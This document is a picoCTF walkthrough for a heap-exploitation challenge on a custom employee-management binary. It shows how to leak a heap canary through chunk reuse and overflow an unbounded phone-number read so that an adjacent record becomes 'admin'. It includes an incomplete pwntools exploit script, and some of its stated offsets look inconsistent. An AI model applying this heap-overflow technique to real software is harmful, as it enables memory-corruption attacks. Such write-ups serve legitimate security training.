Description
A custom employee management binary uses its own malloc with canaries. Exploit a heap overflow to rename an employee to 'admin' and get the flag.
Setup
Download the binary and make it executable.
wget <url>/officechmod +x officeSolution
Walk me through it- Step 1Reverse engineer the binary structureLoad in Ghidra or IDA. The binary manages an array of 10 employees, each with fields at specific offsets: name at offset 0, email at offset 16, salary at offset 20, building at offset 36, phone number at offset 6. The 'get access token' menu option prints the flag if the employee name is 'admin'. The phone number input uses an unguarded %s scan that can overflow the buffer.bash
ghidra officebash# Identify: add_employee, free_employee, get_token, heap_check functionsLearn more
The binary has a custom allocator with canaries inserted at the end of each chunk. The
heap_checkfunction (always called with 0) has debug printing available when called with 1 - patching the argument reveals heap layout details useful for computing the canary position.Key observation: the phone number field is read with an unguarded
scanf("%s"), making it the overflow vector. Name and email use bounded reads. - Step 2Leak the heap canary via building numberAllocate an employee with a 28-character email (making the email chunk size 36). Delete that employee. Now allocate two new employees without email addresses. The second allocation reuses the old 36-byte chunk. When listing employees, the building number field of the second employee now contains the heap canary from that chunk.
Learn more
The email field allocation is 28 bytes plus overhead, making a 36-byte chunk. After freeing and reallocating two overlapping employees, the canary at the end of that 36-byte region falls at offset 36 within the second employee struct (exactly where building number is stored). Listing employees reveals the canary in plain text.
- Step 3Overflow the phone number to overwrite the adjacent employee's nameDelete the first employee, then re-add them. The phone number overflow from this employee can reach into the second employee's struct. Craft a payload that: fills 28 bytes to reach the end of the first block, overwrites the canary (you know it from step 2), overwrites the two size fields (52 and 52), and places 'admin' as the next employee's name.python
python3 << 'EOF' from pwn import * p = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) def add(name, email=None, phone=None, building=None): p.sendlineafter(b"choice:", b"1") p.sendlineafter(b"name:", name) if email: p.sendlineafter(b"email? (y/n)", b"y") p.sendlineafter(b"email:", email) else: p.sendlineafter(b"email? (y/n)", b"n") p.sendlineafter(b"phone:", phone or b"0") if building: p.sendlineafter(b"building? (y/n)", b"y") p.sendlineafter(b"building:", building) else: p.sendlineafter(b"building? (y/n)", b"n") def remove(idx): p.sendlineafter(b"choice:", b"2") p.sendlineafter(b"employee #:", str(idx).encode()) def list_employees(): p.sendlineafter(b"choice:", b"3") return p.recvuntil(b"0. Exit") def get_token(idx): p.sendlineafter(b"choice:", b"4") p.sendlineafter(b"employee #:", str(idx).encode()) return p.recvline() # Step 1: create employee with 28-char email to get 36-byte chunk, then delete add(b"alice", email=b"A" * 28, phone=b"1234567890") remove(0) # Step 2: add two employees without emails; second reuses the 36-byte chunk add(b"bob", phone=b"0") add(b"charlie", phone=b"0") # Step 3: list employees to read the canary from charlie's building field out = list_employees() # Parse canary from building field (implement based on actual output format) canary = ... # extract from out # Step 4: remove bob, re-add with overflowing phone remove(0) payload = b"A" * 28 + canary + p32(52) + p32(52) + b"admin " add(b"dave", phone=payload) # Step 5: get access token for the employee now named "admin" print(get_token(1)) EOFLearn more
The overflow chain: phone number buffer at offset 24 within the first employee chunk (size 52). Writing 52 - 24 = 28 bytes reaches the canary. Then overwrite the canary (known), previous size and current size fields, and finally land on the adjacent employee's name field with the string "admin".
Once an employee's name is "admin", selecting "get access token" for that employee prints the flag.
Flag
picoCTF{...}
Leak the custom heap canary from an overlapping allocation, then overflow the phone number field to write 'admin' into an adjacent employee's name field.